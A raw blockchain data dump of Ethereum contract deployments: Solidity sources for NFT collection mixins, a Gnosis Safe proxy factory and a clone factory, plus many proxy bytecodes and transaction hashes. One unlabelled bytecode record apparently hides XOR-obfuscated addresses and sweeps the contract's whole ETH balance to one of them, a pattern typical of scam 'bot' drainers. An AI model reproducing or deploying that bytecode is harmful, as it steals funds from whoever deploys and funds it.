"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nerror SequentialMintCollection_Caller_Is_Not_Owner(address owner);\nerror SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(uint256 totalSupply);\n\n/**\n * @title Extends the OZ ERC721 implementation for collections which mint sequential token IDs.\n * @author batu-inal & HardlyDifficult\n */\nabstract contract SequentialMintCollection is ITokenCreator, ERC721BurnableUpgradeable {\n /****** Slot 0 (after inheritance) ******/\n /**\n * @notice The creator/owner of this NFT collection.\n * @dev This is the default royalty recipient if a different `paymentAddress` was not provided.\n * @return The collection's creator/owner address.\n */\n address payable public owner;\n\n /**\n * @notice The tokenId of the most recently created NFT.\n * @dev Minting starts at tokenId 1. Each mint will use this value + 1.\n * @return The most recently minted tokenId, or 0 if no NFTs have been minted yet.\n */\n uint32 public latestTokenId;\n\n /**\n * @notice Tracks how many tokens have been burned.\n * @dev This number is used to calculate the total supply efficiently.\n */\n uint32 private burnCounter;\n\n // 32-bits free space\n\n /****** End of storage ******/\n\n /**\n * @notice Emitted when this collection is self destructed by the creator/owner/admin.\n * @param admin The account which requested this contract be self destructed.\n */\n event SelfDestruct(address indexed admin);\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert SequentialMintCollection_Caller_Is_Not_Owner(owner);\n }\n _;\n }\n\n function _initializeSequentialMintCollection(address payable _creator) internal {\n owner = _creator;\n }\n\n /**\n * @notice Allows the collection owner to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n */\n function _selfDestruct() internal {\n if (totalSupply() != 0) {\n revert SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(totalSupply());\n }\n\n emit SelfDestruct(msg.sender);\n selfdestruct(payable(msg.sender));\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n unchecked {\n // Number of burned tokens cannot exceed latestTokenId which is the same size.\n ++burnCounter;\n }\n super._burn(tokenId);\n }\n\n /**\n * @inheritdoc ITokenCreator\n * @dev The tokenId param is ignored since all NFTs return the same value.\n */\n function tokenCreator(uint256 /* tokenId */) external view returns (address payable creator) {\n creator = owner;\n }\n\n /**\n * @notice Returns the total amount of tokens stored by the contract.\n * @dev From the ERC-721 enumerable standard.\n * @return supply The total number of NFTs tracked by this contract.\n */\n function totalSupply() public view returns (uint256 supply) {\n unchecked {\n // Number of tokens minted is always >= burned tokens.\n supply = latestTokenId - burnCounter;\n }\n }\n}\n"
},
"contracts/mixins/collections/TokenLimitedCollection.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"./SequentialMintCollection.sol\";\n\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Increase(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(uint256 currentMintedCount);\nerror TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n\n/**\n * @title Defines an upper limit on the number of tokens which may be minted by this collection.\n * @author HardlyDifficult\n */\nabstract contract TokenLimitedCollection is SequentialMintCollection {\n /**\n * @notice The max tokenId which can be minted.\n * @dev This max may be less than the final `totalSupply` if 1 or more tokens were burned.\n * @return The max tokenId which can be minted.\n */\n uint32 public maxTokenId;\n\n /**\n * @notice Emitted when the max tokenId supported by this collection is updated.\n * @param maxTokenId The new max tokenId. All NFTs in this collection will have a tokenId less than\n * or equal to this value.\n */\n event MaxTokenIdUpdated(uint256 indexed maxTokenId);\n\n function _initializeTokenLimitedCollection(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n // When 0 is desired, the collection may choose to simply not call this initializer.\n revert TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n }\n\n maxTokenId = _maxTokenId;\n }\n\n /**\n * @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n */\n function _updateMaxTokenId(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(maxTokenId);\n }\n if (maxTokenId != 0 && _maxTokenId >= maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Increase(maxTokenId);\n }\n if (latestTokenId > _maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(latestTokenId);\n }\n\n maxTokenId = _maxTokenId;\n emit MaxTokenIdUpdated(_maxTokenId);\n }\n}\n"
},
"contracts/mixins/shared/Constants.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/// Constant values shared across mixins.\n\n/**\n * @dev 100% in basis points.\n */\nuint256 constant BASIS_POINTS = 10_000;\n\n/**\n * @dev The default admin role defined by OZ ACL modules.\n */\nbytes32 constant DEFAULT_ADMIN_ROLE = 0x00;\n\n////////////////////////////////////////////////////////////////\n// Royalties & Take Rates\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev The max take rate an exhibition can have.\n */\nuint256 constant MAX_EXHIBITION_TAKE_RATE = 5_000;\n\n/**\n * @dev Cap the number of royalty recipients.\n * A cap is required to ensure gas costs are not too high when a sale is settled.\n */\nuint256 constant MAX_ROYALTY_RECIPIENTS = 5;\n\n/**\n * @dev Default royalty cut paid out on secondary sales.\n * Set to 10% of the secondary sale.\n */\nuint96 constant ROYALTY_IN_BASIS_POINTS = 1_000;\n\n/**\n * @dev Reward paid to referrers when a sale is made.\n * Set to 1% of the sale amount. This 1% is deducted from the protocol fee.\n */\nuint96 constant BUY_REFERRER_IN_BASIS_POINTS = 100;\n\n/**\n * @dev 10%, expressed as a denominator for more efficient calculations.\n */\nuint256 constant ROYALTY_RATIO = BASIS_POINTS / ROYALTY_IN_BASIS_POINTS;\n\n/**\n * @dev 1%, expressed as a denominator for more efficient calculations.\n */\nuint256 constant BUY_REFERRER_RATIO = BASIS_POINTS / BUY_REFERRER_IN_BASIS_POINTS;\n\n////////////////////////////////////////////////////////////////\n// Gas Limits\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev The gas limit used when making external read-only calls.\n * This helps to ensure that external calls does not prevent the market from executing.\n */\nuint256 constant READ_ONLY_GAS_LIMIT = 40_000;\n\n/**\n * @dev The gas limit to send ETH to multiple recipients, enough for a 5-way split.\n */\nuint256 constant SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS = 210_000;\n\n/**\n * @dev The gas limit to send ETH to a single recipient, enough for a contract with a simple receiver.\n */\nuint256 constant SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT = 20_000;\n\n////////////////////////////////////////////////////////////////\n// Collection Type Names\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev The NFT collection type.\n */\nstring constant NFT_COLLECTION_TYPE = \"NFT Collection\";\n\n/**\n * @dev The NFT drop collection type.\n */\nstring constant NFT_DROP_COLLECTION_TYPE = \"NFT Drop Collection\";\n\n/**\n * @dev The NFT timed edition collection type.\n */\nstring constant NFT_TIMED_EDITION_COLLECTION_TYPE = \"NFT Timed Edition Collection\";\n\n/**\n * @dev The NFT limited edition collection type.\n */\nstring constant NFT_LIMITED_EDITION_COLLECTION_TYPE = \"NFT Limited Edition Collection\";\n\n////////////////////////////////////////////////////////////////\n// Business Logic\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev Limits scheduled start/end times to be less than 2 years in the future.\n */\nuint256 constant MAX_SCHEDULED_TIME_IN_THE_FUTURE = 365 days * 2;\n\n/**\n * @dev The minimum increase of 10% required when making an offer or placing a bid.\n */\nuint256 constant MIN_PERCENT_INCREMENT_DENOMINATOR = BASIS_POINTS / 1_000;\n\n/**\n * @dev Protocol fee for edition mints in basis points.\n */\nuint256 constant EDITION_PROTOCOL_FEE_IN_BASIS_POINTS = 500;\n\n/**\n * @dev Hash of the edition type names.\n * This is precalculated in order to save gas on use.\n * `keccak256(abi.encodePacked(NFT_TIMED_EDITION_COLLECTION_TYPE))`\n */\nbytes32 constant timedEditionTypeHash = 0xee2afa3f960e108aca17013728aafa363a0f4485661d9b6f41c6b4ddb55008ee;\n\nbytes32 constant limitedEditionTypeHash = 0x7df1f68d01ab1a6ee0448a4c3fbda832177331ff72c471b12b0051c96742eef5;\n"
},
"contracts/mixins/shared/ContractFactory.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nerror ContractFactory_Only_Callable_By_Factory_Contract(address contractFactory);\nerror ContractFactory_Factory_Is_Not_A_Contract();\n\n/**\n * @title Stores a reference to the factory which is used to create contract proxies.\n * @author batu-inal & HardlyDifficult\n */\nabstract contract ContractFactory {\n using AddressUpgradeable for address;\n\n /**\n * @notice The address of the factory which was used to create this contract.\n * @return The factory contract address.\n */\n address public immutable contractFactory;\n\n modifier onlyContractFactory() {\n if (msg.sender != contractFactory) {\n revert ContractFactory_Only_Callable_By_Factory_Contract(contractFactory);\n }\n _;\n }\n\n /**\n * @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create these contracts.\n */\n constructor(address _contractFactory) {\n if (!_contractFactory.isContract()) {\n revert ContractFactory_Factory_Is_Not_A_Contract();\n }\n contractFactory = _contractFactory;\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 1337000
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {}
}
}}
|
1 | 19,497,367 |
b68effe57f621d10c108951dc7e4d3758cfa11858ae319cb3c20941096d2dfc3
|
20e29a8dc6ccf42c0c6e60f79738673428b741e2a985c1b9301a40d3184ae21b
|
774a2d88727af5ec0000f3bd0d5211194a074b55
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
d105a11dacf1382e0279418b4a24805959475e69
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,367 |
b68effe57f621d10c108951dc7e4d3758cfa11858ae319cb3c20941096d2dfc3
|
fa28f0a19075e7c8d29be8d8f56c446bf71d77f3392b6443f0709420b7d1c3d4
|
9130f13ee181c24d21988a8246735e5b5017812a
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
765fa22655b747cb01c6c0714aea37a9c66a7800
|
3d602d80600a3d3981f3363d3d373d3d3d363d73085767d3c7b2399f54311b9a5d2b16affecca09c5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73085767d3c7b2399f54311b9a5d2b16affecca09c5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,367 |
b68effe57f621d10c108951dc7e4d3758cfa11858ae319cb3c20941096d2dfc3
|
8709ca4df314e596318e0a579b96e99581df5651701c5a711e9df3b2a8249769
|
8ef253082530ef80a6e21b6eadf39cd65dbde51c
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
ab1e998c94c98df7b7fdbc7447880b369f0d35b9
|
3d602d80600a3d3981f3363d3d373d3d3d363d7312d00f6d62fb79bc2a0e04a2f5aa840539ab3f8f5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7312d00f6d62fb79bc2a0e04a2f5aa840539ab3f8f5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,367 |
b68effe57f621d10c108951dc7e4d3758cfa11858ae319cb3c20941096d2dfc3
|
2d8a51361bbcb7420664a88df4745273edfd4a9bfaa4d0e20e43c42507948a73
|
71446e836bb4959a9ed12cab49daf45c892d4f5c
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
33bf18f8292831c87459cc0d71e30fd5d295ea1d
|
3d602d80600a3d3981f3363d3d373d3d3d363d7349b4dcfacce279d8684b77f74ec59e975e62467a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7349b4dcfacce279d8684b77f74ec59e975e62467a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,367 |
b68effe57f621d10c108951dc7e4d3758cfa11858ae319cb3c20941096d2dfc3
|
6a48f23e8a991f5d351a117bee9267df834cd6341ff8465fa2ad7b0a94077fcb
|
8819343bcc15f7fb5eafa9d72dd2436da36bb9d5
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
44b22e41fa939deee8544993734527cb91f52a22
|
3d602d80600a3d3981f3363d3d373d3d3d363d73e7208ccd06319b4bb850b481b1b6152b092ba5dd5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73e7208ccd06319b4bb850b481b1b6152b092ba5dd5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,367 |
b68effe57f621d10c108951dc7e4d3758cfa11858ae319cb3c20941096d2dfc3
|
88411f826023910cdd4e255a53a0767d26c7ddf9d46fc08e7c7ebd440e432429
|
cdc966e6821f2109a92d4476a6c29868e1d4580b
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
9995f96fb5251a4ea58402f51e8c89aa8db7b36c
|
3d602d80600a3d3981f3363d3d373d3d3d363d731b91e7f5d6ff02a9fe356339c03e25e439a18da45af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d731b91e7f5d6ff02a9fe356339c03e25e439a18da45af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,367 |
b68effe57f621d10c108951dc7e4d3758cfa11858ae319cb3c20941096d2dfc3
|
3083ee412e3d7edb57ba236bb12c7814877eeb51f08ec02cad27aade69b153f9
|
435c0c2bb615054554ab994d7b17b1c933f242f8
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
a2e8925fb977126458bd8ba0ffa17320fb6c7f67
|
3d602d80600a3d3981f3363d3d373d3d3d363d7392a52f99db468cd2de84eca72df563451610243c5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7392a52f99db468cd2de84eca72df563451610243c5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,368 |
db6b519fc38ef815a248cd56bf143aac977bc3de6926cd77138e63e231387c0a
|
49373a8fc55f90a391fbc6451150280548a64438e458f305ddd9947fd5844de3
|
ed6b23dc843237eac8360564d35445610e8a69a1
|
ed6b23dc843237eac8360564d35445610e8a69a1
|
33afdd3141934c04e76d01ca4e5299478c888e5a
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212205563c68fb4f0e567effb9bcd4a76581574e719eccbe2478b6361d2e3a898bbbe64736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212205563c68fb4f0e567effb9bcd4a76581574e719eccbe2478b6361d2e3a898bbbe64736f6c63430008070033
| |
1 | 19,497,369 |
ec80c77625bcb2a2e48c9783de919dcd1aa5ca61cfa98b3c0dde78566d076dbc
|
4c0292266a39686e91e3fdf26db95d31d09cd9150dbd777c399e453891de0910
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
31197f68e822d9dd94888f9b405ab930971413b7
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
